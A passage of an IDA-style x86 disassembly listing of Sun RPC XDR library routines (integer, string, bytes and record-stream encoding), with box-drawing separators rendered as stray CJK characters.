push edx call sub_8064F10 mov esp, ebp pop ebp retn sub_8064EB4 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8064EC8 proc near ; CODE XREF: sub_8064EA0+Bp ; sub_806510C+Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov ecx, [ebp+arg_4] cmp dword ptr [edx], 0 jnz short loc_8064EE4 mov eax, [edx+4] push ecx push edx mov eax, [eax+4] call eax mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064EE4: ; CODE XREF: sub_8064EC8+Cj cmp dword ptr [edx], 1 jnz short loc_8064EF8 mov eax, [edx+4] push ecx push edx mov eax, [eax] call eax mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064EF8: ; CODE XREF: sub_8064EC8+1Fj cmp dword ptr [edx], 2 jz short loc_8064F04 xor eax, eax mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064F04: ; CODE XREF: sub_8064EC8+33j mov eax, 1 mov esp, ebp pop ebp retn sub_8064EC8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8064F10 proc near ; CODE XREF: xdr_pmap+Dp xdr_pmap+1Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov ecx, [ebp+arg_4] cmp dword ptr [edx], 1 jnz short loc_8064F2C mov eax, [edx+4] push ecx push edx mov eax, [eax] call eax mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064F2C: ; CODE XREF: sub_8064F10+Cj cmp dword ptr [edx], 0 jnz short loc_8064F40 mov eax, [edx+4] push ecx push edx mov eax, [eax+4] call eax mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064F40: ; CODE XREF: sub_8064F10+1Fj cmp dword ptr [edx], 2 jz short loc_8064F4C xor eax, eax mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064F4C: ; CODE XREF: sub_8064F10+33j mov eax, 1 mov esp, ebp pop ebp retn sub_8064F10 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp sub esp, 4 push ebx mov ecx, [ebp+8] mov ebx, [ebp+0Ch] mov eax, [ecx] cmp eax, 1 jz short loc_8064F90 jb short loc_8064F78 cmp eax, 2 jz short loc_8064FA7 jmp short loc_8064FB0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064F78: ; CODE XREF: .text:08064F6Cj movsx ebx, word ptr [ebx] mov [ebp-4], ebx mov eax, [ecx+4] lea edx, [ebp-4] push edx push ecx mov eax, [eax+4] call eax jmp short loc_8064FB2 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064F90: ; CODE XREF: .text:08064F6Aj mov eax, [ecx+4] lea edx, [ebp-4] push edx push ecx mov eax, [eax] call eax test eax, eax jz short loc_8064FB0 mov ax, [ebp-4] mov [ebx], ax loc_8064FA7: ; CODE XREF: .text:08064F71j mov eax, 1 jmp short loc_8064FB2 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064FB0: ; CODE XREF: .text:08064F73j ; .text:08064F9Ej xor eax, eax loc_8064FB2: ; CODE XREF: .text:08064F8Bj ; .text:08064FACj mov ebx, [ebp-8] mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8064FBC proc near ; CODE XREF: .text:0806688Dp ; DATA XREF: pmap_getport+7Eo var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4 push ebx mov ecx, [ebp+arg_0] mov ebx, [ebp+arg_4] mov eax, [ecx] cmp eax, 1 jz short loc_8064FF4 jb short loc_8064FDC cmp eax, 2 jz short loc_806500B jmp short loc_8065014 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064FDC: ; CODE XREF: sub_8064FBC+14j movzx ebx, word ptr [ebx] mov [ebp+var_4], ebx mov eax, [ecx+4] lea edx, [ebp+var_4] push edx push ecx mov eax, [eax+4] call eax jmp short loc_8065016 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064FF4: ; CODE XREF: sub_8064FBC+12j mov eax, [ecx+4] lea edx, [ebp+var_4] push edx push ecx mov eax, [eax] call eax test eax, eax jz short loc_8065014 mov ax, word ptr [ebp+var_4] mov [ebx], ax loc_806500B: ; CODE XREF: sub_8064FBC+19j mov eax, 1 jmp short loc_8065016 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8065014: ; CODE XREF: sub_8064FBC+1Bj ; sub_8064FBC+46j xor eax, eax loc_8065016: ; CODE XREF: sub_8064FBC+33j ; sub_8064FBC+54j mov ebx, [ebp+var_8] mov esp, ebp pop ebp retn sub_8064FBC endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp sub esp, 4 push ebx mov edx, [ebp+8] mov ebx, [ebp+0Ch] movzx ecx, byte ptr [ebx] mov [ebp-4], ecx lea eax, [ebp-4] push eax push edx call sub_8064EA0 test eax, eax jz short loc_8065050 mov al, [ebp-4] mov [ebx], al mov eax, 1 jmp short loc_8065052 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8065050: ; CODE XREF: .text:0806503Fj xor eax, eax loc_8065052: ; CODE XREF: .text:0806504Bj mov ebx, [ebp-8] mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp sub esp, 4 push ebx mov edx, [ebp+8] mov ebx, [ebp+0Ch] movzx ecx, byte ptr [ebx] mov [ebp-4], ecx lea eax, [ebp-4] push eax push edx call sub_8064EB4 test eax, eax jz short loc_806508C mov al, [ebp-4] mov [ebx], al mov eax, 1 jmp short loc_806508E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806508C: ; CODE XREF: .text:0806507Bj xor eax, eax loc_806508E: ; CODE XREF: .text:08065087j mov ebx, [ebp-8] mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8065098 proc near ; CODE XREF: sub_80666A0+Dp ; sub_8067248+25p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4 push ebx mov ecx, [ebp+arg_0] mov ebx, [ebp+arg_4] mov eax, [ecx] cmp eax, 1 jz short loc_80650D8 jb short loc_80650B8 cmp eax, 2 jz short loc_80650F6 jmp short loc_8065100 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80650B8: ; CODE XREF: sub_8065098+14j cmp dword ptr [ebx], 0 setnz al and eax, 0FFh mov [ebp+var_4], eax mov edx, [ecx+4] lea eax, [ebp+var_4] push eax push ecx mov eax, [edx+4] call eax jmp short loc_8065102 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80650D8: ; CODE XREF: sub_8065098+12j mov eax, [ecx+4] lea edx, [ebp+var_4] push edx push ecx mov eax, [eax] call eax test eax, eax jz short loc_8065100 cmp [ebp+var_4], 0 setnz al and eax, 0FFh mov [ebx], eax loc_80650F6: ; CODE XREF: sub_8065098+19j mov eax, 1 jmp short loc_8065102 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8065100: ; CODE XREF: sub_8065098+1Bj ; sub_8065098+4Ej xor eax, eax loc_8065102: ; CODE XREF: sub_8065098+3Bj ; sub_8065098+63j mov ebx, [ebp+var_8] mov esp, ebp pop ebp retn sub_8065098 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_806510C proc near ; CODE XREF: xdr_opaque_auth+Dp ; xdr_accepted_reply+1Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] push eax push edx call sub_8064EC8 mov esp, ebp pop ebp retn sub_806510C endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8065120 proc near ; CODE XREF: .text:08064B65p ; sub_80651B8+97p ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_0] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] test edx, edx jz short loc_80651A8 mov ebx, edx and ebx, 3 jz short loc_8065143 mov edi, 4 sub edi, ebx mov ebx, edi loc_8065143: ; CODE XREF: sub_8065120+18j cmp dword ptr [esi], 1 jnz short loc_8065170 mov eax, [esi+4] push edx push ecx push esi mov eax, [eax+8] call eax add esp, 0Ch test eax, eax jz short loc_80651A1 test ebx, ebx jz short loc_80651A8 mov eax, [esi+4] push ebx push offset unk_807E758 push esi mov eax, [eax+8] call eax jmp short loc_80651AD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8065170: ; CODE XREF: sub_8065120+26j cmp dword ptr [esi], 0 jnz short loc_806519C mov eax, [esi+4] push edx push ecx push esi mov eax, [eax+0Ch] call eax add esp, 0Ch test eax, eax jz short loc_80651A1 test ebx, ebx jz short loc_80651A8 mov eax, [esi+4] push ebx push offset unk_807923C push esi mov eax, [eax+0Ch] call eax jmp short loc_80651AD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806519C: ; CODE XREF: sub_8065120+53j cmp dword ptr [esi], 2 jz short loc_80651A8 loc_80651A1: ; CODE XREF: sub_8065120+38j ; sub_8065120+65j xor eax, eax jmp short loc_80651AD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80651A8: ; CODE XREF: sub_8065120+11j ; sub_8065120+3Cj ... mov eax, 1 loc_80651AD: ; CODE XREF: sub_8065120+4Dj ; sub_8065120+7Aj ... lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8065120 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_80651B8 proc near ; CODE XREF: xdr_opaque_auth+2Ep ; .text:08065290p ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push edi push esi push ebx mov edi, [ebp+arg_0] mov esi, [ebp+arg_8] mov edx, [ebp+arg_4] mov ebx, [edx] call libc_nls_init push esi push edi call sub_8064EB4 add esp, 8 test eax, eax jz loc_8065270 mov esi, [esi] cmp [ebp+arg_C], esi jnb short loc_80651F0 cmp dword ptr [edi], 2 jnz loc_8065270 loc_80651F0: ; CODE XREF: sub_80651B8+2Dj mov eax, [edi] cmp eax, 1 jz short loc_8065200 jb short loc_806524C cmp eax, 2 jz short loc_8065258 jmp short loc_8065270 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065200: ; CODE XREF: sub_80651B8+3Dj test esi, esi jnz short loc_806520C loc_8065204: ; CODE XREF: sub_80651B8+A2j ; sub_80651B8+B3j mov eax, 1 jmp short loc_8065272 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806520C: ; CODE XREF: sub_80651B8+4Aj test ebx, ebx jnz short loc_806524C push esi call malloc mov ebx, eax mov edx, [ebp+arg_4] mov [edx], ebx add esp, 4 test ebx, ebx jnz short loc_806524C push offset aOutOfMemory_1 ; "out of memory" push 1 push 0Ah mov eax, dword_8078F9C push eax call sub_805E584 push eax push offset aXdr_bytesS ; "xdr_bytes: %s\n" push offset unk_80787A4 call _IO_fprintf jmp short loc_8065270 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806524C: ; CODE XREF: sub_80651B8+3Fj ; sub_80651B8+56j ... push esi push ebx push edi call sub_8065120 jmp short loc_8065272 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8065258: ; CODE XREF: sub_80651B8+44j test ebx, ebx jz short loc_8065204 push ebx call free mov edx, [ebp+arg_4] mov dword ptr [edx], 0 jmp short loc_8065204 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8065270: ; CODE XREF: sub_80651B8+22j ; sub_80651B8+32j ... xor eax, eax loc_8065272: ; CODE XREF: sub_80651B8+51j ; sub_80651B8+9Cj lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_80651B8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 push ebp mov ebp, esp mov edx, [ebp+8] mov eax, [ebp+0Ch] push 400h push eax add eax, 4 push eax push edx call sub_80651B8 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_806529C proc near ; CODE XREF: xdr_replymsg+40p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] mov ebx, [ebp+arg_C] push edi push esi call sub_806510C add esp, 8 test eax, eax jz short loc_80652D7 mov eax, [edi] cmp dword ptr [ebx+4], 0 jz short loc_80652D1 lea esi, [esi+0] loc_80652C4: ; CODE XREF: sub_806529C+33j cmp [ebx], eax jz short loc_80652DC add ebx, 8 cmp dword ptr [ebx+4], 0 jnz short loc_80652C4 loc_80652D1: ; CODE XREF: sub_806529C+23j cmp [ebp+arg_10], 0 jnz short loc_80652EC loc_80652D7: ; CODE XREF: sub_806529C+1Bj xor eax, eax jmp short loc_80652F8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80652DC: ; CODE XREF: sub_806529C+2Aj push 0FFFFFFFFh mov edx, [ebp+arg_8] push edx push esi mov eax, [ebx+4] call eax jmp short loc_80652F8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80652EC: ; CODE XREF: sub_806529C+39j push 0FFFFFFFFh mov edx, [ebp+arg_8] push edx push esi mov edx, [ebp+arg_10] call edx loc_80652F8: ; CODE XREF: sub_806529C+3Dj ; sub_806529C+4Cj lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_806529C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8065304 proc near ; CODE XREF: .text:080653EDp ; xdr_domainname+10p ... var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] mov ebx, [edi] call libc_nls_init mov eax, [esi] test eax, eax jz short loc_806532D cmp eax, 2 jnz short loc_8065339 test ebx, ebx jz loc_80653CC loc_806532D: ; CODE XREF: sub_8065304+1Aj push ebx call strlen mov [ebp+var_4], eax add esp, 4 loc_8065339: ; CODE XREF: sub_8065304+1Fj lea eax, [ebp+var_4] push eax push esi call sub_8064EB4 add esp, 8 test eax, eax jz loc_80653D4 mov ecx, [ebp+arg_8] cmp [ebp+var_4], ecx ja short loc_80653D4 mov edx, [ebp+var_4] inc edx mov eax, [esi] cmp eax, 1 jz short loc_806536C jb short loc_80653B3 cmp eax, 2 jz short loc_80653C0 jmp short loc_80653D4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806536C: ; CODE XREF: sub_8065304+5Bj test edx, edx jz short loc_80653CC test ebx, ebx jnz short loc_80653AC push edx call malloc mov ebx, eax mov [edi], ebx add esp, 4 test ebx, ebx jnz short loc_80653AC push offset aOutOfMemory_1 ; "out of memory" push 1 push 0Ah mov eax, dword_8078F9C push eax call sub_805E584 push eax push offset aXdr_stringS ; "xdr_string: %s\n" push offset unk_80787A4 call _IO_fprintf jmp short loc_80653D4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80653AC: ; CODE XREF: sub_8065304+6Ej ; sub_8065304+7Fj mov eax, [ebp+var_4] mov byte ptr [eax+ebx], 0 loc_80653B3: ; CODE XREF: sub_8065304+5Dj mov eax, [ebp+var_4] push eax push ebx push esi call sub_8065120 jmp short loc_80653D6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80653C0: ; CODE XREF: sub_8065304+62j push ebx call free mov dword ptr [edi], 0 loc_80653CC: ; CODE XREF: sub_8065304+23j ; sub_8065304+6Aj mov eax, 1 jmp short loc_80653D6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80653D4: ; CODE XREF: sub_8065304+44j ; sub_8065304+50j ... xor eax, eax loc_80653D6: ; CODE XREF: sub_8065304+BAj ; sub_8065304+CDj lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8065304 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 push ebp mov ebp, esp mov edx, [ebp+8] mov eax, [ebp+0Ch] push 0FFFFFFFFh push eax push edx call sub_8065304 test eax, eax jnz short loc_80653FC xor eax, eax mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80653FC: ; CODE XREF: .text:080653F4j mov eax, 1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [00000029 BYTES: COLLAPSED FUNCTION xdrmem_create. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000007 BYTES: COLLAPSED FUNCTION sub_8065434. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000036 BYTES: COLLAPSED FUNCTION sub_806543C. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000036 BYTES: COLLAPSED FUNCTION sub_8065474. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000003B BYTES: COLLAPSED FUNCTION sub_80654AC. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000003B BYTES: COLLAPSED FUNCTION sub_80654E8. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000012 BYTES: COLLAPSED FUNCTION sub_8065524. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000002E BYTES: COLLAPSED FUNCTION sub_8065538. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000001F BYTES: COLLAPSED FUNCTION sub_8065568. PRESS KEYPAD "+" TO EXPAND] align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8065588 proc near ; CODE XREF: sub_80658B4+2Cp ; sub_806597C+50p ... var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] xor eax, eax cmp [ebp+arg_4], 1 jnz short loc_806559D mov eax, 80000000h loc_806559D: ; CODE XREF: sub_8065588+Ej mov ebx, [esi+10h] sub ebx, [esi+18h] add ebx, 0FFFFFFFCh mov edx, [esi+18h] or eax, ebx xchg al, ah ror eax, 10h xchg al, ah mov [edx], eax mov ebx, [esi+10h] sub ebx, [esi+0Ch] push ebx mov eax, [esi+0Ch] push eax mov eax, [esi] push eax mov eax, [esi+8] call eax cmp eax, ebx jnz short loc_80655E4 mov eax, [esi+0Ch] mov [esi+18h], eax mov ecx, [esi+0Ch] add ecx, 4 mov [esi+10h], ecx mov eax, 1 jmp short loc_80655E6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80655E4: ; CODE XREF: sub_8065588+41j xor eax, eax loc_80655E6: ; CODE XREF: sub_8065588+57j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8065588 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_80655F0 proc near ; CODE XREF: sub_8065634+19p ; sub_80656E8+18p var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov eax, [esi+30h] and eax, 3 mov ebx, [esi+28h] add ebx, eax mov edx, [esi+24h] sub edx, eax mov eax, edx push eax push ebx mov eax, [esi] push eax mov eax, [esi+20h] call eax cmp eax, 0FFFFFFFFh jz short loc_8065628 mov [esi+2Ch], ebx add ebx, eax mov [esi+30h], ebx mov eax, 1 jmp short loc_806562A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065628: ; CODE XREF: sub_80655F0+27j xor eax, eax loc_806562A: ; CODE XREF: sub_80655F0+36j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_80655F0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8065634 proc near ; CODE XREF: sub_8065698+11p ; sub_8065910+44p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov edi, [ebp+arg_0] mov esi, [ebp+arg_8] loc_8065640: ; CODE XREF: sub_8065634+23j ; sub_8065634+4Fj test esi, esi jle short loc_8065688 mov ebx, [edi+30h] sub ebx, [edi+2Ch] jnz short loc_8065660 push edi call sub_80655F0 add esp, 4 test eax, eax jnz short loc_8065640 xor eax, eax jmp short loc_806568D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8065660: ; CODE XREF: sub_8065634+16j mov eax, esi cmp esi, ebx jle short loc_8065668 mov eax, ebx loc_8065668: ; CODE XREF: sub_8065634+30j mov ebx, eax push ebx mov edx, [ebp+arg_4] push edx mov eax, [edi+2Ch] push eax call bcopy add [edi+2Ch], ebx add [ebp+arg_4], ebx sub esi, ebx add esp, 0Ch jmp short loc_8065640 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8065688: ; CODE XREF: sub_8065634+Ej mov eax, 1 loc_806568D: ; CODE XREF: sub_8065634+27j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8065634 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8065698 proc near ; CODE XREF: sub_8065910+21p ; sub_8065B2C+2Bp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4 push ebx mov ebx, [ebp+arg_0] push 4 lea eax, [ebp+var_4] push eax push ebx call sub_8065634 test eax, eax jz short loc_80656DC mov eax, [ebp+var_4] xchg al, ah ror eax, 10h xchg al, ah mov [ebp+var_4], eax mov edx, eax shr edx, 1Fh mov [ebx+38h], edx mov edx, [ebp+var_4] and edx, 7FFFFFFFh mov [ebx+34h], edx mov eax, 1 jmp short loc_80656DE ; 